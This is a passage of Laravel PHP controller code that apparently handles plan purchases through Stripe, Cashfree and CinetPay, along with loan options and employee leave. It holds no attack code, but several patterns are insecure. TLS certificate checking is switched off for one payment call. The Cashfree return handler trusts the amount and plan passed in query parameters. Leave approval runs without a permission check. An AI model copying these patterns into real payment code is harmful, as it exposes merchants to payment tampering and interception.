\Illuminate\Support\Facades\Crypt::decrypt($code); $plan = Plan::find($plan_id); if ($plan) { return view('stripe', compact('plan', 'admin_payment_setting')); } else { return redirect()->back()->with('error', __('Plan is deleted.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function stripePost(Request $request) { try { $planID = Crypt::decrypt($request->plan_id); } catch (\Throwable $th) { return redirect()->back()->with('error', __('Plan Not Found.')); } $admin_payment_setting = Utility::getAdminPaymentSetting(); if (\Auth::user()->can('Manage Company Settings') && (isset($admin_payment_setting['is_stripe_enabled']) && $admin_payment_setting['is_stripe_enabled'] == 'on' && !empty($admin_payment_setting['stripe_key']) && !empty($admin_payment_setting['stripe_secret']))) { $objUser = \Auth::user(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); if ($plan) { try { $price = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $price = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = \Auth::user(); if ($price <= 0.0) { if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $price; $order->price_currency = $admin_payment_setting['currency']; $order->payment_type = __('STRIPE'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } if ($price > 0.0) { Stripe\Stripe::setApiKey($admin_payment_setting['stripe_secret']); $data = Stripe\Charge::create( [ "amount" => 100 * $price, "currency" => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'inr', "source" => $request->stripeToken, "description" => " Plan - " . $plan->name, "metadata" => ["order_id" => $orderID], ] ); } else { $data['amount_refunded'] = 0; $data['failure_code'] = ''; $data['paid'] = 1; $data['captured'] = 1; $data['status'] = 'succeeded'; } if ($data['amount_refunded'] == 0 && empty($data['failure_code']) && $data['paid'] == 1 && $data['captured'] == 1) { $orders = Order::create( [ 'order_id' => $orderID, 'name' => $request->name, 'card_number' => isset($data['payment_method_details']['card']['last4']) ? $data['payment_method_details']['card']['last4'] : '', 'card_exp_month' => isset($data['payment_method_details']['card']['exp_month']) ? $data['payment_method_details']['card']['exp_month'] : '', 'card_exp_year' => isset($data['payment_method_details']['card']['exp_year']) ? $data['payment_method_details']['card']['exp_year'] : '', 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price, 'price_currency' => isset($data['currency']) ? $data['currency'] : '', 'txn_id' => isset($data['balance_transaction']) ? $data['balance_transaction'] : '', 'payment_status' => isset($data['status']) ? $data['status'] : 'succeeded', 'payment_type' => __('STRIPE'), 'receipt' => isset($data['receipt_url']) ? $data['receipt_url'] : 'free coupon', 'user_id' => $objUser->id, ] ); if (!empty($request->coupon)) { $userCoupon = new UserCoupon(); $userCoupon->user = $objUser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } Utility::referralTransaction($plan); if ($data['status'] == 'succeeded') { $assignPlan = $objUser->assignPlan($plan->id); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan successfully activated.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Your payment has failed.')); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed.')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/LoanOptionController.php000064400000010777150364306410014646 0ustar00can('Manage Loan Option')) { $loanoptions = LoanOption::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('loanoption.index', compact('loanoptions')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Loan Option')) { return view('loanoption.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Loan Option')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $loanoption = new LoanOption(); $loanoption->name = $request->name; $loanoption->created_by = \Auth::user()->creatorId(); $loanoption->save(); return redirect()->route('loanoption.index')->with('success', __('LoanOption successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(LoanOption $loanoption) { return redirect()->route('loanoption.index'); } public function edit(LoanOption $loanoption) { if(\Auth::user()->can('Edit Loan Option')) { if($loanoption->created_by == \Auth::user()->creatorId()) { return view('loanoption.edit', compact('loanoption')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, LoanOption $loanoption) { if(\Auth::user()->can('Edit Loan Option')) { if($loanoption->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $loanoption->name = $request->name; $loanoption->save(); return redirect()->route('loanoption.index')->with('success', __('LoanOption successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LoanOption $loanoption) { if(\Auth::user()->can('Delete Loan Option')) { if($loanoption->created_by == \Auth::user()->creatorId()) { $loan = Loan::where('loan_option',$loanoption->id)->get(); if(count($loan) == 0) { $loanoption->delete(); } else { return redirect()->route('loanoption.index')->with('error', __('This Loan Option has Loan. Please remove the Loan from this Loan option.')); } return redirect()->route('loanoption.index')->with('success', __('LoanOption successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/CashfreeController.php000064400000026331150364306410014275 0ustar00 isset($payment_setting['cashfree_api_key']) ? $payment_setting['cashfree_api_key'] : '', 'services.cashfree.secret' => isset($payment_setting['cashfree_secret_key']) ? $payment_setting['cashfree_secret_key'] : '', ] ); } } public function cashfreePaymentStore(Request $request) { $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $user = \Auth::user(); $this->paymentConfig(); $payment_setting = Utility::getAdminPaymentSetting(); $url = config('services.cashfree.url'); if ($plan) { $get_amount = $plan->price; try { if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = \Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { if (!empty($authuser->payment_subscription_id) && $authuser->payment_subscription_id != '') { try { $authuser->cancel_subscription($authuser->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Cashfree', 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $headers = array( "Content-Type: application/json", "x-api-version: 2022-01-01", "x-client-id: " . config('services.cashfree.key'), "x-client-secret: " . config('services.cashfree.secret') ); $data = json_encode([ 'order_id' => $orderID, 'order_amount' => $get_amount, "order_currency" => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD', "order_name" => $plan->name, "customer_details" => [ "customer_id" => 'customer_' . $user->id, "customer_name" => $user->name, "customer_email" => $user->email, "customer_phone" => '1234567890', ], "order_meta" => [ "return_url" => route('cashfreePayment.success') . '?order_id={order_id}&order_token={order_token}&plan_id=' . $plan->id . '&amount=' . $get_amount . '&coupon=' . $coupon . '' ] ]); try { $curl = curl_init($url); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $resp = curl_exec($curl); curl_close($curl); return redirect()->to(json_decode($resp)->payment_link); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Currency Not Supported.Contact To Your Site Admin'); } } catch (\Exception $e) { return redirect()->back()->with('error', $e); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function cashfreePaymentSuccess(Request $request) { $this->paymentConfig(); $user = \Auth::user(); $plan = Plan::find($request->plan_id); $couponCode = $request->coupon; $getAmount = $request->amount; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if ($couponCode != 0) { $coupons = Coupon::where('code', strtoupper($couponCode))->where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } try { $client = new \GuzzleHttp\Client(); $response = $client->request('GET', config('services.cashfree.url') . '/' . $request->get('order_id') . '/settlements', [ 'headers' => [ 'accept' => 'application/json', 'x-api-version' => '2022-09-01', "x-client-id" => config('services.cashfree.key'), "x-client-secret" => config('services.cashfree.secret') ], ]); $respons = json_decode($response->getBody()); if ($respons->order_id && $respons->cf_payment_id != NULL) { $response = $client->request('GET', config('services.cashfree.url') . '/' . $respons->order_id . '/payments/' . $respons->cf_payment_id . '', [ 'headers' => [ 'accept' => 'application/json', 'x-api-version' => '2022-09-01', 'x-client-id' => config('services.cashfree.key'), 'x-client-secret' => config('services.cashfree.secret'), ], ]); $info = json_decode($response->getBody()); if ($info->payment_status == "SUCCESS") { Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD'; $order->payment_type = __('Cashfree'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Your Transaction is fail please try again')); } } else { return redirect()->route('plans.index')->with('error', 'Payment Failed.'); } return redirect()->route('plans.index')->with('success', 'Plan activated Successfully.'); } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } } Http/Controllers/LeaveController.php000064400000046051150364306410013612 0ustar00can('Manage Leave')) { if (\Auth::user()->type == 'employee') { $user = \Auth::user(); $employee = Employee::where('user_id', '=', $user->id)->first(); $leaves = LocalLeave::where('employee_id', '=', $employee->id)->get(); } else { $leaves = LocalLeave::where('created_by', '=', \Auth::user()->creatorId())->with(['employees', 'leaveType'])->get(); } return view('leave.index', compact('leaves')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Leave')) { if (Auth::user()->type == 'employee') { $employees = Employee::where('user_id', '=', \Auth::user()->id)->first(); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } $leavetypes = LeaveType::where('created_by', '=', \Auth::user()->creatorId())->get(); // $leavetypes_days = LeaveType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('leave.create', compact('employees', 'leavetypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Leave')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'leave_type_id' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'leave_reason' => 'required', 'remark' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } // $employee = Employee::where('created_by', '=', \Auth::user()->id)->first(); $leave_type = LeaveType::find($request->leave_type_id); $startDate = new \DateTime($request->start_date); $endDate = new \DateTime($request->end_date); $endDate->add(new \DateInterval('P1D')); // $total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days : 0; $date = Utility::AnnualLeaveCycle(); if (\Auth::user()->type == 'employee') { // Leave day $leaves_used = LocalLeave::where('employee_id', '=', $request->employee_id)->where('leave_type_id', $leave_type->id)->where('status', 'Approved')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); $leaves_pending = LocalLeave::where('employee_id', '=', $request->employee_id)->where('leave_type_id', $leave_type->id)->where('status', 'Pending')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); } else { // Leave day $leaves_used = LocalLeave::where('employee_id', '=', $request->employee_id)->where('leave_type_id', $leave_type->id)->where('status', 'Approved')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); $leaves_pending = LocalLeave::where('employee_id', '=', $request->employee_id)->where('leave_type_id', $leave_type->id)->where('status', 'Pending')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); } $total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days : 0; $return = $leave_type->days - $leaves_used; if ($total_leave_days > $return) { return redirect()->back()->with('error', __('You are not eligible for leave.')); } if (!empty($leaves_pending) && $leaves_pending + $total_leave_days > $return) { return redirect()->back()->with('error', __('Multiple leave entry is pending.')); } if ($leave_type->days >= $total_leave_days) { $leave = new LocalLeave(); if (\Auth::user()->type == "employee") { $leave->employee_id = $request->employee_id; } else { $leave->employee_id = $request->employee_id; } $leave->leave_type_id = $request->leave_type_id; $leave->applied_on = date('Y-m-d'); $leave->start_date = $request->start_date; $leave->end_date = $request->end_date; $leave->total_leave_days = $total_leave_days; $leave->leave_reason = $request->leave_reason; $leave->remark = $request->remark; $leave->status = 'Pending'; $leave->created_by = \Auth::user()->creatorId(); $leave->save(); // Google celander if ($request->get('synchronize_type') == 'google_calender') { $type = 'leave'; $request1 = new GoogleEvent(); $request1->title = !empty(\Auth::user()->getLeaveType($leave->leave_type_id)) ? \Auth::user()->getLeaveType($leave->leave_type_id)->title : ''; $request1->start_date = $request->start_date; $request1->end_date = $request->end_date; Utility::addCalendarData($request1, $type); } return redirect()->route('leave.index')->with('success', __('Leave successfully created.')); } else { return redirect()->back()->with('error', __('Leave type ' . $leave_type->title . ' is provide maximum ' . $leave_type->days . " days please make sure your selected days is under " . $leave_type->days . ' days.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(LocalLeave $leave) { return redirect()->route('leave.index'); } public function edit(LocalLeave $leave) { if (\Auth::user()->can('Edit Leave')) { if ($leave->created_by == \Auth::user()->creatorId()) { if (Auth::user()->type == 'employee') { $employees = Employee::where('employee_id', '=', \Auth::user()->creatorId())->first(); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } // $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); // $leavetypes = LeaveType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('title', 'id'); $leavetypes = LeaveType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('leave.edit', compact('leave', 'employees', 'leavetypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, $leave) { $leave = LocalLeave::find($leave); if (\Auth::user()->can('Edit Leave')) { if ($leave->created_by == Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'leave_type_id' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'leave_reason' => 'required', 'remark' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $leave_type = LeaveType::find($request->leave_type_id); $employee = Employee::where('employee_id', '=', \Auth::user()->creatorId())->first(); $startDate = new \DateTime($request->start_date); $endDate = new \DateTime($request->end_date); $endDate->add(new \DateInterval('P1D')); // $total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days : 0; $date = Utility::AnnualLeaveCycle(); if (\Auth::user()->type == 'employee') { // Leave day $leaves_used = LocalLeave::whereNotIn('id', [$leave->id])->where('employee_id', '=', $employee->id)->where('leave_type_id', $leave_type->id)->where('status', 'Approved')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); $leaves_pending = LocalLeave::whereNotIn('id', [$leave->id])->where('employee_id', '=', $employee->id)->where('leave_type_id', $leave_type->id)->where('status', 'Pending')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); } else { // Leave day $leaves_used = LocalLeave::whereNotIn('id', [$leave->id])->where('employee_id', '=', $request->employee_id)->where('leave_type_id', $leave_type->id)->where('status', 'Approved')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); $leaves_pending = LocalLeave::whereNotIn('id', [$leave->id])->where('employee_id', '=', $request->employee_id)->where('leave_type_id', $leave_type->id)->where('status', 'Pending')->whereBetween('created_at', [$date['start_date'],$date['end_date']])->sum('total_leave_days'); } $total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days : 0; $return = $leave_type->days - $leaves_used; if ($total_leave_days > $return) { return redirect()->back()->with('error', __('You are not eligible for leave.')); } if (!empty($leaves_pending) && $leaves_pending + $total_leave_days > $return) { return redirect()->back()->with('error', __('Multiple leave entry is pending.')); } if ($leave_type->days >= $total_leave_days) { if (\Auth::user()->type == 'employee') { $leave->employee_id = $employee->id; } else { $leave->employee_id = $request->employee_id; } $leave->leave_type_id = $request->leave_type_id; $leave->start_date = $request->start_date; $leave->end_date = $request->end_date; $leave->total_leave_days = $total_leave_days; $leave->leave_reason = $request->leave_reason; $leave->remark = $request->remark; // $leave->status = $request->status; $leave->save(); return redirect()->route('leave.index')->with('success', __('Leave successfully updated.')); } else { return redirect()->back()->with('error', __('Leave type ' . $leave_type->name . ' is provide maximum ' . $leave_type->days . " days please make sure your selected days is under " . $leave_type->days . ' days.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LocalLeave $leave) { if (\Auth::user()->can('Delete Leave')) { if ($leave->created_by == \Auth::user()->creatorId()) { $leave->delete(); return redirect()->route('leave.index')->with('success', __('Leave successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export() { $name = 'leave_' . date('Y-m-d i:h:s'); $data = Excel::download(new LeaveExport(), $name . '.xlsx'); return $data; } public function action($id) { $leave = LocalLeave::find($id); $employee = Employee::find($leave->employee_id); $leavetype = LeaveType::find($leave->leave_type_id); return view('leave.action', compact('employee', 'leavetype', 'leave')); } public function changeaction(Request $request) { $leave = LocalLeave::find($request->leave_id); $leave->status = $request->status; if ($leave->status == 'Approved') { $startDate = new \DateTime($leave->start_date); $endDate = new \DateTime($leave->end_date); $endDate->add(new \DateInterval('P1D')); // $total_leave_days = $startDate->diff($endDate)->days; $total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days : 0; $leave->total_leave_days = $total_leave_days; $leave->status = 'Approved'; } $leave->save(); // twilio $setting = Utility::settings(\Auth::user()->creatorId()); $emp = Employee::find($leave->employee_id); if (isset($setting['twilio_leave_approve_notification']) && $setting['twilio_leave_approve_notification'] == 1) { // $msg = __("Your leave has been") . ' ' . $leave->status . '.'; $uArr = [ 'leave_status' => $leave->status, ]; Utility::send_twilio_msg($emp->phone, 'leave_approve_reject', $uArr); } $setings = Utility::settings(); if ($setings['leave_status'] == 1) { $employee = Employee::where('id', $leave->employee_id)->where('created_by', '=', \Auth::user()->creatorId())->first(); $uArr = [ 'leave_email' => $employee->email, 'leave_status_name' => $employee->name, 'leave_status' => $request->status, 'leave_reason' => $leave->leave_reason, 'leave_start_date' => $leave->start_date, 'leave_end_date' => $leave->end_date, 'total_leave_days' => $leave->total_leave_days, ]; $resp = Utility::sendEmailTemplate('leave_status', [$employee->email], $uArr); return redirect()->route('leave.index')->with('success', __('Leave status successfully updated.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('leave.index')->with('success', __('Leave status successfully updated.')); } public function jsoncount(Request $request) { $date = Utility::AnnualLeaveCycle(); $leave_counts = LeaveType::select(\DB::raw('COALESCE(SUM(leaves.total_leave_days),0) AS total_leave, leave_types.title, leave_types.days,leave_types.id')) ->leftjoin( 'leaves', function ($join) use ($request, $date) { $join->on('leaves.leave_type_id', '=', 'leave_types.id'); $join->where('leaves.employee_id', '=', $request->employee_id); $join->where('leaves.status', '=', 'Approved'); $join->whereBetween('leaves.created_at', [$date['start_date'],$date['end_date']]); } )->where('leave_types.created_by', '=', \Auth::user()->creatorId())->groupBy('leave_types.id')->get(); return $leave_counts; } public function calender(Request $request) { $created_by = \Auth::user()->creatorId(); $Meetings = LocalLeave::where('created_by', $created_by)->get(); $today_date = date('m'); $current_month_event = LocalLeave::select('id', 'start_date', 'employee_id', 'created_at')->whereRaw('MONTH(start_date)=' . $today_date)->get(); $arrMeeting = []; foreach ($Meetings as $meeting) { $arr['id'] = $meeting['id']; $arr['employee_id'] = $meeting['employee_id']; // $arr['leave_type_id'] = date('Y-m-d', strtotime($meeting['start_date'])); } $leaves = LocalLeave::where('created_by', '=', \Auth::user()->creatorId())->get(); if (\Auth::user()->type == 'employee') { $user = \Auth::user(); $employee = Employee::where('user_id', '=', $user->id)->first(); $leaves = LocalLeave::where('employee_id', '=', $employee->id)->get(); } else { $leaves = LocalLeave::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('leave.calender', compact('leaves')); } public function get_leave_data(Request $request) { $arrayJson = []; if ($request->get('calender_type') == 'google_calender') { $type = 'leave'; $arrayJson = Utility::getCalendarData($type); } else { $data = LocalLeave::where('created_by', \Auth::user()->creatorId())->get(); foreach ($data as $val) { $end_date = date_create($val->end_date); date_add($end_date, date_interval_create_from_date_string("1 days")); $arrayJson[] = [ "id" => $val->id, "title" => !empty(\Auth::user()->getLeaveType($val->leave_type_id)) ? \Auth::user()->getLeaveType($val->leave_type_id)->title : '', "start" => $val->start_date, "end" => date_format($end_date, "Y-m-d H:i:s"), "className" => $val->color, "textColor" => '#FFF', "allDay" => true, "url" => route('leave.action', $val['id']), ]; } } return $arrayJson; } } Http/Controllers/CinetPayController.php000064400000035767150364306410014306 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $authuser = Auth::user(); if ($plan) { /* Check for code usage */ $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('Paiement Pro'), 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } try { if ( $currency != 'XOF' && $currency != 'CDF' && $currency != 'USD' && $currency != 'KMF' && $currency != 'GNF' ) { return redirect()->route('plans.index')->with('error', __('Availabe currencies: XOF, CDF, USD, KMF, GNF')); } $call_back = route('plan.cinetpay.return') . '?_token=' . csrf_token(); $returnURL = route('plan.cinetpay.notify') . '?_token=' . csrf_token(); $cinetpay_data = [ "amount" => $get_amount, "currency" => $currency, "apikey" => $cinetpay_api_key, "site_id" => $cinetpay_site_id, "transaction_id" => $orderID, "description" => "Plan purchase", "return_url" => $call_back, "notify_url" => $returnURL, "metadata" => "user001", 'customer_name' => isset($authuser->name) ? $authuser->name : 'Test', 'customer_surname' => isset($authuser->name) ? $authuser->name : 'Test', 'customer_email' => isset($authuser->email) ? $authuser->email : 'test@gmail.com', 'customer_phone_number' => isset($authuser->mobile_number) ? $authuser->mobile_number : '1234567890', 'customer_address' => isset($authuser->address) ? $authuser->address : 'A-101, alok area, USA', 'customer_city' => 'texas', 'customer_country' => 'BF', 'customer_state' => 'USA', 'customer_zip_code' => isset($authuser->zipcode) ? $authuser->zipcode : '432876', ]; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api-checkout.cinetpay.com/v2/payment', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 45, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode($cinetpay_data), CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_HTTPHEADER => array( "content-type:application/json" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); //On recupère la réponse de CinetPay $response_body = json_decode($response, true); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if ($response_body['code'] == '201') { $cinetpaySession = [ 'order_id' => $orderID, 'amount' => $get_amount, 'plan_id' => $plan->id, 'coupon_id' => !empty($coupons->id) ? $coupons->id : '', 'coupon_code' => !empty($request->coupon) ? $request->coupon : '', ]; $request->session()->put('cinetpaySession', $cinetpaySession); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => !empty($plan->name) ? $plan->name : 'Basic Package', 'plan_id' => $plan->id, 'price' => !empty($get_amount) ? $get_amount : 0, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('CinetPay'), 'payment_status' => 'pending', 'receipt' => null, 'user_id' => $authuser->id, ] ); $payment_link = $response_body["data"]["payment_url"]; // Retrieving the payment URL return redirect($payment_link); } else { return back()->with('error', $response_body["description"]); } } catch (\Exception $e) { Log::debug($e->getMessage()); return redirect()->route('plans.index')->with('error', $e->getMessage()); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function planCinetPayReturn(Request $request) { $cinetpaySession = $request->session()->get('cinetpaySession'); $request->session()->forget('cinetpaySession'); if (isset($request->transaction_id) || isset($request->token)) { $payment_setting = Utility::getAdminPaymentSetting(); $cinetpay_check = [ "apikey" => $payment_setting['cinetpay_api_key'], "site_id" => $payment_setting['cinetpay_site_id'], "transaction_id" => $request->transaction_id ]; $response = $this->getPayStatus($cinetpay_check); $response_body = json_decode($response, true); $authuser = Auth::user(); $plan = Plan::find($cinetpaySession['plan_id']); $getAmount = $cinetpaySession['amount']; $currency = isset($payment_setting['currency']) ? $payment_setting['currency'] : ''; $orderID = 